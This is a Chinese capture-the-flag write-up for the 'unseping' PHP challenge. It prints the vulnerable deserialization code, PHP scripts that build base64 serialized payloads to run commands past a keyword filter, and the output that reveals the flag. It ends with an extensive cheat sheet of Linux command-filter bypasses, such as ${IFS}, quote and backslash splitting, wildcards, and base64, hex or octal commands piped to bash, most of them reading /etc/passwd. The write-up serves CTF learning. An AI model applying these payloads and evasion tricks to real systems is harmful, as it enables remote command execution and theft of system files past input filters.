反序列化&RCE01_unseping
unseping 攻防世界
#题目
<?php
highlight_file(__FILE__);
class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __destruct(){
if (in_array($this->method, array("ping"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}
function ping($ip){
exec($ip, $result);
var_dump($result);
}
function waf($str){
if (!preg_match_all("/(\||&|;| |\/|cat|flag|tac|php|ls)/", $str, $pat_array)) {
return $str;
} else {
echo "don't hack";
}
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf($v);
}
}
}
$ctf=@$_POST['ctf'];
@unserialize(base64_decode($ctf));
?>
此题的pop链并不难找,难点在于$args内容的绕过。
首先审计代码可得$method=ping
in_array(a,b)函数会检查a是否出现在b集合的值中
call_user_func_array(a,b)函数会将数组b的值作为a函数的参数,然后执行a函数
exec(a,b)函数会执行a命令并将执行的结果存入到b中
ease的类成员是private类型,在构造序列化时可以改为public
waf绕过----
根据绕过内容可知没有绕过find关键字,则令$args=find查找全部文件
<?php
class ease{
public $method="ping";
public $args=['find'];
}
echo base64_encode(serialize(new ease));
?>
#array(4) { [0]=> string(1) "." [1]=> string(14) "./flag_1s_here" [2]=> string(40) "./flag_1s_here/flag_831b69012c67b35f.php" [3]=> string(11) "./index.php" }
发现flag.php在flag_1s_here文件夹下,cat所有find查找的内容即可读出flag。
对于空格过滤可使用${IFS}绕过,对cat过滤可使用ca\t绕过。
<?php
class ease{
public $method="ping";
public $args=['ca\t${IFS}`find`'];
}
echo base64_encode(serialize(new ease));
?>
#array(42) { [0]=> string(5) " string(52) "//$cyberpeace{0768a1e3a37b626af25dd1fb5821d592} string(25) "highlight_file(__FILE__);" [3]=> string(0) "" [4]=> string 。。。。。。省略}
linux系统命令常见绕过
一、空格绕过
1.使用$IFS 变种:${IFS} $IFS$9
cat$IFS/etc/passwd $IFS是Bash内置变量,默认值为空格、制表、换行符
2.使用制表符或URL编码 %09 Tab键URL编码 %20 空格键URL编码
cat%09/etc/passwd
3.使用重定向符 <、>、<>可用来制造命令
cat</etc/passwd
4.使用大括号分隔 {}是一种扩展语法,可将命令和参数分隔开
{cat,/etc/passwd} => cat /etc/passwd
5.使用注释符号 /**/可以用作分隔符
cat/**//etc.passwd
二、命令执行函数绕过 (system())
1.替代函数
passthru() 执行命令并输出结果
exeu() 执行命令并返回最后一行输出
shell_exeu() 执行命令并返回完整输出
popen() 打开进程文件指针
proc_open() 更灵活的进程控制函数
pcntl_exec() 直接执行程序,适用于无Shell环境
2.反引号 ``
在PHP中,反引号等价于shell_exec()
三、命令连接符绕过
1.通用链接符
| 管道符,仅执行右侧命令的结果
|| 逻辑或,前命令失败时执行后命令
& 后台执行,前后命令均执行
&& 逻辑与,前命令成功时执行后命令
2.Linux特有连接符
; 顺序执行,前后命令依次运行
*四、严格过滤下的绕过
1.变量赋值 将命令拆分为变量,动态拼接
a=c;b=a;c=t; $a$b$c /etc/passwd
2.Base64编码 将命令编码为Base64编码,解码后执行
echo 'cat /etc/passwd' | base64 # 输出:Y2F0IC9ldGMvcGFzc3dk
echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash
3.十六进制编码
echo "636174202f6574632f706173737764" | xxd -r -p | bash # cat /etc/passwd
4.八进制编码
$(printf "\143\141\164\040\057\145\164\143\057\160\141\163\163\167\144") # cat /etc/passwd
5.字符串拼接
c''a''t /etc/passwd # 单引号拼接
c""a""t /etc/passwd # 双引号拼接
c``a``t /etc/passwd # 反引号拼接
c\a\t /etc/passwd # 反斜杠拼接
6.特殊变量 $*、$@、$1-$9、${x}(x>=10)在无参数时为空,可用于混淆
wh$1oami # whoami
who$@ami # whoami
ca${21}t a.txt # cat a.txt
7.插入注释 在命令中插入注释,绕过WAF规则
system/*test*/("whoami")
五、通配符绕过
1.基本通配符 ?匹配单个字符 *匹配多个字符
??? /e??/?a???? 匹配 cat /etc/passwd
2.glob模式 [a-z]匹配范围内的字符 {a,b,c}匹配制定模式
cat t[a-z]st # 匹配类似 test 的文件
cat t{a,b,c}st # 匹配 tast、tbst、tcst
经验
遇到没见过的函数一定要明白具体的功能再做题,否则会做无用功
当一种方法不生效时,尝试其他方法,不要一意孤行
浙公网安备 33010602011771号